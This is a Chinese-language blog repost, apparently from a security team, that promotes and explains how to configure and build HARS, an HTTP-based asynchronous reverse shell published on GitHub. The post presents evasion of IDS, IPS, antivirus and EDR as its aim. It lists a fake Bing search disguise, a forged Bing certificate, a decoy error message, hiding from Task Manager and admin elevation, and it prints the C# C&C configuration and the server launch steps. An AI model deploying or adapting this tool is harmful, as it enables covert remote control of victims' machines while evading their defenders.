Loading [MathJax]/jax/output/CommonHTML/config.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
社区首页 >专栏 >使用 HTTP 协议的异步反向 shell

使用 HTTP 协议的异步反向 shell

原创
作者头像
Khan安全团队
发布于 2021-12-27 03:33:09
发布于 2021-12-27 03:33:09
89800
代码可运行
举报
文章被收录于专栏:Khan安全团队Khan安全团队
运行总次数:0
代码可运行

今天,有很多方法可以创建反向 shell,以便能够通过防火墙远程控制机器。事实上,传出连接并不总是被过滤掉。

然而,安全软件和硬件(IPS、IDS、代理、AV、EDR...)越来越强大,可以检测到这些攻击。大多数情况下,与反向 shell 的连接是通过 L4 TCP 隧道建立的。

我认为保持不被发现的最好方法是让它看起来像合法的流量。HTTP 协议(​​第 7 层)是标准用户使用最多的协议。此外,它几乎从不过滤,以免阻止对网站的访问。

这个POC的特殊性在于通信是完全异步的,并且只使用GET请求。

怎么运行的 ?

  1. 客户端应用程序在目标机器上执行。
  2. 客户端发起与服务器的连接。
  3. 服务器接受连接。

然后: - 客户端查询服务器直到它得到指令。 - 攻击者向服务器提供指令。 - 当一个命令被定义时,客户端执行它并返回结果。

依此类推,直到攻击者决定结束会话。

特征

今天,作为一个 poc,实现了以下功能:

  1. 在 bing.com 上显示为搜索的虚假 HTTP 流量。
  2. 命令在 HTML 响应中采用 base64 编码。
  3. 命令的结果由客户端以 base64 编码为 cookie。
  4. [可选] SSL 支持;默认情况下,它是一个伪造的 bing.com 证书。
  5. 每次客户端调用之间的随机延迟,以避免触发 IDS。
  6. 随机模板用于来自服务器的每个响应。
  7. 重复使用相同的 powershell 进程以避免触发 EDR。
  8. 支持所有 Cmd 和 Powershell 命令。
  9. [可选] 客户端可以在启动时显示假错误消息。
  10. 客户端对任务管理器隐藏。
  11. 【可选】客户端可以管理员身份运行。
AV检测

69 款产品中只有 3 款能够在不应用任何规避或混淆技术的情况下将客户端检测为恶意客户端。

配置

客户 : C Sharp

  1. Visual Studio 中打开HARS.sln

配置文件

该文件包含参数;分配你想要的值:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
class Config
    {
        /* Behavior */
        // Display a fake error msg at startup
        public static bool DisplayErrorMsg = true;
        // Title of fake error msg
        public static string ErrorMsgTitle = "This application could not be started.";
        // Description of fake error msg
        public static string ErrorMsgDesc = "Unhandled exception has occured in your application. \r\r Object {0} is not valid.";
        // Min delay between the client calls
        public static int MinDelay = 2;
        // Max delay between the client calls
        public static int MaxDelay = 5;
        // Fake uri requested - Warning : it must begin with "search" (or need a change on server side)
        public static string Url = "search?q=search+something&qs=n&form=QBRE&cvid=";
        /* Listener */
        // Hostname/IP of C&C server
        public static string Server = "https://127.0.0.1";
        // Listening port of C&C server
        public static string Port = "443";
        // Allow self-signed or "unsecure" certificates - Warning : often needed in corporate environment using proxy
        public static bool AllowInsecureCertificate = true;
    }

HARS.manifest

将此行更改为默认运行具有特定权限的客户端:

<requestedExecutionLevel level="requireAdministrator" uiAccess="false" />

<requestedExecutionLevel level="asInvoker" uiAccess="false" /><requestedExecutionLevel level="requireAdministrator" uiAccess="false" /><requestedExecutionLevel level="highestAvailable" uiAccess="false" />

项目属性

您可以在此处自定义文件的程序集信息和图标。

注意:目标 .NET 框架版本设置为 4.6,该版本在 Windows 10 中默认可用。 对于 Windows 7,如果您不想安装缺少的功能,请选择 .NET 3.5。

建造

从 Visual Studio 构建项目。客户端应该在Http Asynchronous Reverse Shell\HARS_Client\HARS\bin\Release文件夹中生成。

服务器:PythonHARS_Server.py 位置:Http Asynchronous Reverse Shell\HARS_Server\www

如果需要,只需在配置部分更改证书上的端口或位置。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
# Config
PORT = 443
CERT_FILE = '../server.pem'

python HARS_Server.py

笔记

-HTTP 日志位于Http Asynchronous Reverse Shell\HARS_Server\logs\ -您可以在其中添加您自己的模板(任何 html 页面)Http Asynchronous Reverse Shell\HARS_Server\templates

https://github.com/onSec-fr/Http-Asynchronous-Reverse-Shell

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
使用CefSharp开发一个12306“安心刷票弹窗通知”工具
有需求就要改进 最近两年没有在春节回家过年了,主要是票太难买,虽然之前写了一个12306“无声购票弹窗”工具,解决了抢票问题,但是全家老小一起回去还是很累,干脆就在北京过年了。这两天突然有一个朋友问我你之前的抢票工具还能用不,我让他试试,他说可以,于是我觉得这样一个小工具居然还有人继续使用啊,既然有人用我就继续把他做好点,让大家过年抢票更“安心”! 之前的抢票工具是基于IEBrowser控件做的,不用说大家都知道这个控件在不同的Windows系统上表现各异,因为它主要依赖于IE内核,坑爹的是它有时候还没有直
用户1177503
2018/02/27
3.3K0
使用CefSharp开发一个12306“安心刷票弹窗通知”工具
HTTP-revshell:能绕过AMSI的PowerShell代理感知型反向Shell
HTTP-revshell是一个能够绕过AMSI的PowerShell代理感知型反向Shell,这款工具转为红队研究人员以及渗透测试人员设计,能够通过HTTP/S协议来给研究人员提供一个反向Shell链接。HTTP-revshell使用了一种隐蔽的数据信道,可以通过Web请求来获取目标设备的控制权,从而绕过类似IDS、IPS和AV之类的安全解决方案。
FB客服
2020/12/08
7720
HTTP-revshell:能绕过AMSI的PowerShell代理感知型反向Shell
反弹shell | 反弹shell总结
声明:本人坚决反对利用文章内容进行恶意攻击行为,一切错误行为必将受到惩罚,绿色网络需要靠我们共同维护,推荐大家在了解技术原理的前提下,更好的维护个人信息安全、企业安全、国家安全。
安全小王子
2022/12/11
3.5K0
反弹shell | 反弹shell总结
反弹shell的学习总结 - Part 2
dnscat2(https://github.com/iagox86/dnscat2)是一个DNS隧道,旨在通过DNS协议创建加密的命令和控制(C&C)通道。dnscat2分为两部分:客户端和服务端。dnscat2客户端采用C语言编写,服务器端采用ruby语言编写。后来又有安全研究人员使用PowerShell脚本重写了dnscat2客户端dnscat2-powershell(https://github.com/lukebaggett/dnscat2-powershell)。
安全小王子
2020/07/31
2K0
反弹shell的学习总结 - Part 2
Netty应用:快速了解http各版本的特性 HttpServer的小demo
示例: text/html 、 image/png 、 application/pdf 、 video/mp4
冷环渊
2021/11/22
4440
Netty应用:快速了解http各版本的特性 HttpServer的小demo
PSAsyncShell:一款功能强大的PowerShell异步TCP反向Shell
PSAsyncShell是一款功能强大的PowerShell异步TCP反向Shell,该工具基于纯PowerShell开发,适用于安装并配置了PowerShell环境的设备使用。和其他反向Shell工具不同的是,该工具所实现的所有通信和执行流都是异步完成的,并实现了一些针对防火墙绕过和远程连接处理对策。
FB客服
2022/11/14
6460
PSAsyncShell:一款功能强大的PowerShell异步TCP反向Shell
Netty之HTTP协议应用开发
HTTP(超文本传输协议)是建立在TCP传输协议上的应用层协议,是一个属于应用层的面向对象的协议,也是目前Web开发主流的协议。
Liusy
2020/08/31
9850
爬虫 | 优雅的HTTP库—requests
如果你在使用python执行爬虫任务,那么你怎么能错过requets呢!作为标榜为人类服务的HTTP库,requests 的操作方式和浏览器在与服务器端交互时的方式极度相似,这极大的方便了爬虫的构建。
bugsuse
2020/04/21
8960
爬虫 | 优雅的HTTP库—requests
VB.NET WinForm自托管WebApi服务器(接上期的视频)
  本篇文章是接着上期的《VB.NET 结合 B4A 开发进行远程查图报共上传数据功能》的一个延展性,本期主要介绍 WebApi 自托管于 WinForm 程序上的对外作为数据服务接口的一个简单示例!想跟深入研究的大佬们自行度娘咯;本文只做个抛砖引玉;
办公魔盒
2021/06/25
2.1K0
VB.NET WinForm自托管WebApi服务器(接上期的视频)
千万别被钓鱼!虚假 CVE-2023-40477 PoC 传播远控木马
2023 年 8 月 17 日,业界披露了 WinRAR 的远程代码执行漏洞,编号为 CVE-2023-40477。该漏洞细节发布四天后,一个名为 halersplonk 的攻击者在 GitHub 上部署了一个虚假的 PoC 脚本。该虚假的 PoC 脚本基于公开公用的 PoC 脚本(CVE-2023-251157),该脚本利用名为 GeoServer 的应用程序中的 SQL 注入漏洞进行攻击。在分析了该虚假 PoC 脚本后,研究人员发现该脚本最终会安装 VenomRAT 远控木马。
FB客服
2023/10/06
8680
千万别被钓鱼!虚假 CVE-2023-40477 PoC 传播远控木马
2020护网期间公布漏洞总结-附部分漏洞Poc,Exp
4.Apache DolphinScheduler远程代码执行漏洞(CVE-2020-11974),危害级别:危急,官方已发布补丁
Gamma实验室
2020/12/23
6.4K0
2020护网期间公布漏洞总结-附部分漏洞Poc,Exp
HTTP&HTTPS协议详解之HTTP篇
HTTP(HyperText Transfer Protocol ,超文本传输协议),是一个基于请求与响应的,无状态的,应用层的协议,常基于TCP/IP协议传输数据,互联网上应用最广泛的一种协议,所有的WWW文件必须遵守这个标准。
用户5836910
2022/06/02
7450
HTTP&HTTPS协议详解之HTTP篇
教你学木马攻防 | 隧道木马 | DNS反弹shell
在上一篇文章中,我们讲解了木马通信协议中的ICMP协议,并通过ICMP实现了一个反弹shell,本篇接着讲解一下DNS隧道,也实现一个反弹shell。
七夜安全博客
2019/04/28
3.7K0
教你学木马攻防 | 隧道木马 | DNS反弹shell
内网渗透之DNS隧道构建使用
DNS协议是一种请求/应答协议,也是一种可用于应用层的隧道技术,虽然激增的DNS流量可能会被发现,但基于传统Socket隧道已经濒临淘汰及TCP、UDP通信大量被防御系统拦截的状况,DNS、ICMP、HTTP/HTTPS等难以被禁用的协议已经成为攻击者控制隧道的主流渠道
Al1ex
2025/01/23
1480
内网渗透之DNS隧道构建使用
php一步一步实现mysql协议(二) ——握手初始化
上面就是mysql客户端和服务端的交互流程,然后结合实际中的抓包工具来看先这个过程。这里使用php的PDO扩展连接数据库并执行一条查询语句,抓包情况如下
码缘
2020/09/16
8390
php一步一步实现mysql协议(二) ——握手初始化
【netty】实现http服务
腾云先锋(TDP,Tencent Cloud Developer Pioneer)是腾讯云GTS官方组建并运营的技术开发者群体。这里有最专业的开发者&客户,能与产品人员亲密接触,专有的问题&需求反馈渠道,有一群志同道合的兄弟姐妹。来加入属于我们开发者的社群吧!
无敌小菜鸟
2022/05/30
8530
【netty】实现http服务
Reverse_SSH:一款基于SSH的反向Shell工具
 关于Reverse_SSH  Reverse_SSH上一款基于SSH的反向Shell工具,在该工具的帮助下,广大研究人员可以使用SSH来实现反向Shell,并同时拥有下列功能: 1、使用原生SSH语句管理和连接反向Shell; 2、动态、本地和远程转发; 3、原生SCP和SFTP实现,用于从目标获取文件; 4、完整功能的Windows Shell; 5、实现了客户端&服务器端身份验证,以创建高信任高可用的控制通道; 6、其他...  工具架构   工具安装  Docker
FB客服
2023/03/30
1.1K0
Reverse_SSH:一款基于SSH的反向Shell工具
攻防|反弹shell方式汇总
注意有些反弹shell的方法或脚本只适用于Linux或者Windows,注意区分相关脚本的编写方式方法。
亿人安全
2024/04/19
1.1K0
攻防|反弹shell方式汇总
LOLBITS:一款基于后台智能传输服务(BITS)的C#反向Shell
LOLBITS是一款C#反向Shell,它使用了微软后台智能传输服务(BITS)作为传输信道来与后端命令控制服务器进行交互。后台的命令控制服务器基于Flask Web应用程序构建,并且只能通过包含了有效认证Header的HTTP请求来与之通信。
FB客服
2020/02/20
1.1K0
LOLBITS:一款基于后台智能传输服务(BITS)的C#反向Shell
HTTP协议和HTTPS协议初探
HTTP是hypertext transfer protocol(超文本传输协议)的简写,它是TCP/IP协议的一个应用层协议,用于定义WEB浏览器与WEB服务器之间交换数据的过程。
小小工匠
2021/08/16
9800
相关推荐
使用CefSharp开发一个12306“安心刷票弹窗通知”工具
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
查看详情【社区公告】 技术创作特训营有奖征文
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验